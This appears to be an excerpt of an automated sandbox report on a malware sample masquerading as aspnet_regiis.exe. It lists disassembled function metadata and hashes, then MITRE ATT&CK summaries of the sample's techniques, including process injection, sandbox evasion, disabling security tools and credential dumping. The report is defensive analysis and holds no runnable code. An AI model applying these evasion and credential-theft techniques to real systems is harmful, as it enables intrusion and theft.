Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: M/($M/(
API String ID: 237503144-1710806632
Opcode ID: c815091995ccebbfecfc69408808d9226691ed60dca797fd7e6029a9a5600c88
Instruction ID: f07d18af8471004e82434cea0a9dda642aeab4e75e39c694d4329daf03f918b2
Opcode Fuzzy Hash: c815091995ccebbfecfc69408808d9226691ed60dca797fd7e6029a9a5600c88
Instruction Fuzzy Hash: DE2101716583615BE714CE34988279BB7AAEBC6700F01892CE091AB1C5D679880B8756

Function 00742830 Relevance: 2.9, Strings: 2, Instructions: 411COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00742C05
C@, xrefs: 0074285E

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: C@$_^]\
API String ID: 0-1259475386
Opcode ID: 738c79f3f4074a8177e19ae34024e2fa7886c4d9e5b0715d4aff81b300e60a97
Instruction ID: 04d05adb67da69bb37096400a296674fef82bdd8eed79efdb8ee73e92e5dc26d
Opcode Fuzzy Hash: 738c79f3f4074a8177e19ae34024e2fa7886c4d9e5b0715d4aff81b300e60a97
Instruction Fuzzy Hash: 85B107A1A083109BD7149B25D85273BB3E5EFD1324F59C92CF89697382E33CE952C352

Function 0073B8F6 Relevance: 1.7, Strings: 1, Instructions: 477COMMON

Download Yara Rule

Strings

EWC`, xrefs: 0073BD43

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: EWC`
API String ID: 0-1922773688
Opcode ID: f5c511ea8a09534d4de9e984c6885a3fc42cc554b9583ec259e638eb34507f08
Instruction ID: 5fb070d09a2943b40c499df1aae8c60b4d81a138711da9d6faf0bcc854924933
Opcode Fuzzy Hash: f5c511ea8a09534d4de9e984c6885a3fc42cc554b9583ec259e638eb34507f08
Instruction Fuzzy Hash: 1DD10F70605B018BD3358F28C4A27A3BBF2EF96314F18955CD6D78B692E73AE806C750

Function 0074D17D Relevance: 1.7, APIs: 1, Instructions: 152COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(1A11171A), ref: 0074D2A4

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 0428fd16424ee732ad794f8fa1e8c7da0034aaf59ab127690dbc79031177cdf8
Instruction ID: 798a5692dede8daa44dd658ec497aadc611ea292b7245fca1f8cff92fce91ca4
Opcode Fuzzy Hash: 0428fd16424ee732ad794f8fa1e8c7da0034aaf59ab127690dbc79031177cdf8
Instruction Fuzzy Hash: 4A41C1706043829BE3258F34C9A1B62BFE1FF57314F28868CE5D64B393D76998068B51

Function 0074B170 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

", xrefs: 0074B458

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: d05c80c795993c871168dd86f7d1ea5d1d218413b04f758d20a6faf4e3c25647
Instruction ID: 26216e6e94636726379b52b4ac799de5c0da5d98933b307c5c93068b610cb39d
Opcode Fuzzy Hash: d05c80c795993c871168dd86f7d1ea5d1d218413b04f758d20a6faf4e3c25647
Instruction Fuzzy Hash: 7BC139B2A083149FD7258E35C49576BF7E9AF85310F19892DE4A587382E73CEC44C792

Function 0074C0E6 Relevance: 1.5, Strings: 1, Instructions: 228COMMON

Download Yara Rule

Strings

N&, xrefs: 0074C173

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: N&
API String ID: 0-3274356042
Opcode ID: d18ad1941c830434db27258192bea668450b3596f25d5c90a0a9cb1b1ec0e302
Instruction ID: c82482d203adffd630d15e572696f5f5a119b8147d3b9553e30f69d5f95a0922
Opcode Fuzzy Hash: d18ad1941c830434db27258192bea668450b3596f25d5c90a0a9cb1b1ec0e302
Instruction Fuzzy Hash: 4851E661615B804BD72ACB3A88613B7BBD3ABDB314B5C969DC4D7C7686CB3CE4068710

Function 0074C09E Relevance: 1.5, Strings: 1, Instructions: 217COMMON

Download Yara Rule

Strings

N&, xrefs: 0074C173

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: N&
API String ID: 0-3274356042
Opcode ID: 36f160253196b3ca1dd148c62a1cfc8461064bda4e4c02762ae8465a823f85d7
Instruction ID: c05aa221c474b3b78d1e0ac31f48ace0c1bc1f2e9e1cc651d59ef04c192be88f
Opcode Fuzzy Hash: 36f160253196b3ca1dd148c62a1cfc8461064bda4e4c02762ae8465a823f85d7
Instruction Fuzzy Hash: 0E510865615B804AD72ACB3A88503B37BD3BF9B310F5C969DC4D7DBA86CB3CA4028711

Function 00761160 Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

@, xrefs: 0076123B

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 239369c15a29312b9dfce83f2301206609d554b5471593942d5046e4e6660124
Instruction ID: 45ad7076508d74bfaaa65fb709346c7e547c37a7f9b50567a7b9dd0f5c053887
Opcode Fuzzy Hash: 239369c15a29312b9dfce83f2301206609d554b5471593942d5046e4e6660124
Instruction Fuzzy Hash: 2441F2B1A043109BD718CF64CC5AB7BBBA1FFD5354F58891CE9865B3A0E3799904CB82

Function 0075C830 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

0$z, xrefs: 0075C915

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: 0$z
API String ID: 0-542936926
Opcode ID: a78d8198a38ae6d26257e135c29af1211d533347ca17a1d88347c95eb8633fc0
Instruction ID: f8d08b195e962f5003653749bfbdb56903d7c8e32f073079483cb4366ae0164f
Opcode Fuzzy Hash: a78d8198a38ae6d26257e135c29af1211d533347ca17a1d88347c95eb8633fc0
Instruction Fuzzy Hash: 5C3105B2A193118FD315DF24C88475BBBD6EB95710F09C92CE884A7242D3B9EC498BD6

Function 007489E9 Relevance: 1.3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00748A15

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID: _^]\
API String ID: 0-3116432788
Opcode ID: 1d64538999d9c661751f378bdc33754984d48e45b214c5cd88274661352888fe
Instruction ID: 4efcff26ee4a2d3f3924fcb624d18f9909decc5b86a5454255e14d2f52867a36
Opcode Fuzzy Hash: 1d64538999d9c661751f378bdc33754984d48e45b214c5cd88274661352888fe
Instruction Fuzzy Hash: 6701ADB0A0931187D7488B14D59052FB7A2BBC9310F299A2DD09223755C778A8428BDA

Function 0073D8AC Relevance: .5, Instructions: 505COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cac223725cf17c1bdee1668e7f75b717033cf7796b666e6da13471e137acbca8
Instruction ID: c1a5b9fc229285e22750762eb3fbbea8949982773a0610f03df707304ae2aa37
Opcode Fuzzy Hash: cac223725cf17c1bdee1668e7f75b717033cf7796b666e6da13471e137acbca8
Instruction Fuzzy Hash: B5E105B1A00219CFDB24CF69C8517BABBB1FF49310F18865DE496AB751E338AD11CB94

Function 0073D8D8 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7c0f45ab84512ae7fb2d8cb6f8bc9bb240f4fd011a8e24e71803b582f72a183
Instruction ID: d36c932e918184f4136ec2cc9585e60053786fe3244d923e96057f3bc625975b
Opcode Fuzzy Hash: e7c0f45ab84512ae7fb2d8cb6f8bc9bb240f4fd011a8e24e71803b582f72a183
Instruction Fuzzy Hash: 14E1F7B1A00219CFDB24CF69C8517BAB7B1FF49310F14865DE496AB751E338AD11CB94

Function 0074C850 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aec8634b3add8829b48206f9541638c5dbe23d6cf02b7ee2e084923ea57c696
Instruction ID: e6ff0fefe9d1673f50d398ea4b0777687644c252499ca0c5fa6586ae3f8be307
Opcode Fuzzy Hash: 8aec8634b3add8829b48206f9541638c5dbe23d6cf02b7ee2e084923ea57c696
Instruction Fuzzy Hash: 17F090244096838ADB068E298060771FBA5AF63304F1D51DDD4C2AB393DB1ED8568724

Function 0074E0DA Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a74d5857912f424093c70e21deeb6922a10a882864307659604c18145d6e58bc
Instruction ID: eee36faa32a61f0b686e675b0d90898701320b7bc0c9655785a807a2b279def2
Opcode Fuzzy Hash: a74d5857912f424093c70e21deeb6922a10a882864307659604c18145d6e58bc
Instruction Fuzzy Hash: C0F065104487E28ADB234B3E44606B2EFE0AB67130B281BD5C8F19B2C7C3199496C366

Function 0074D116 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b1e1c9deb0793a2c01a8aeab25995d87821afe3441101b0a67bf025e9b2dbfc
Instruction ID: 341b3b2dc1dcce72a1e946e696c6c24ff55fdbe25a7b715f9326c53a00523742
Opcode Fuzzy Hash: 2b1e1c9deb0793a2c01a8aeab25995d87821afe3441101b0a67bf025e9b2dbfc
Instruction Fuzzy Hash: 0701F4716442829BD354CF38CDA0666FBA2FB86364F08CB9CD4568B796C638D842C799

Function 0072C805 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0e74fcfc4164c81d51b9d1929d0d0013511c5cf656859cb7beabe43b81b1bd4
Instruction ID: 657243aeefeff506cdd708a57cb5bf561a7d45378e1653ff0f8b6d4aacdc9ea8
Opcode Fuzzy Hash: a0e74fcfc4164c81d51b9d1929d0d0013511c5cf656859cb7beabe43b81b1bd4
Instruction Fuzzy Hash: D4C01235542740EF82045F20DC18479B374BB4B202F00E408D407E3211CB69B5019F6D

Function 0075315D Relevance: 19.3, APIs: 1, Strings: 10, Instructions: 85COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 007531A3

Strings

w, xrefs: 00753231
M, xrefs: 00753221
j, xrefs: 00753207
B, xrefs: 007531C1
y, xrefs: 007531D5
K, xrefs: 007531FD
A, xrefs: 007531CB
B, xrefs: 007531E9
q, xrefs: 007531F3
D, xrefs: 007531DF

Memory Dump Source

Source File: 00000002.00000002.1892342569.0000000000721000.00000020.00000400.00020000.00000000.sdmp, Offset: 00720000, based on PE: true

Associated: 00000002.00000002.1892184795.0000000000720000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892502749.0000000000762000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1892881210.0000000000765000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1893078830.0000000000773000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_720000_aspnet_regiis.jbxd

Similarity

API ID: InitVariant
String ID: A$B$B$D$K$M$j$q$w$y
API String ID: 1927566239-3160828158
Opcode ID: 7f57d2f955bee908355d8fd01dba06b5de51746897798e592b4db9ffe3b1190f
Instruction ID: 575a33c2bbd7ff99dca50b32287f816acec3958bb7f60f4ff709e3e1a19757a2
Opcode Fuzzy Hash: 7f57d2f955bee908355d8fd01dba06b5de51746897798e592b4db9ffe3b1190f
Instruction Fuzzy Hash: B841287050CBC18AD335DB38845879EBFD16BD2214F188A5DE2E98B3E2D7B88149CB53

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
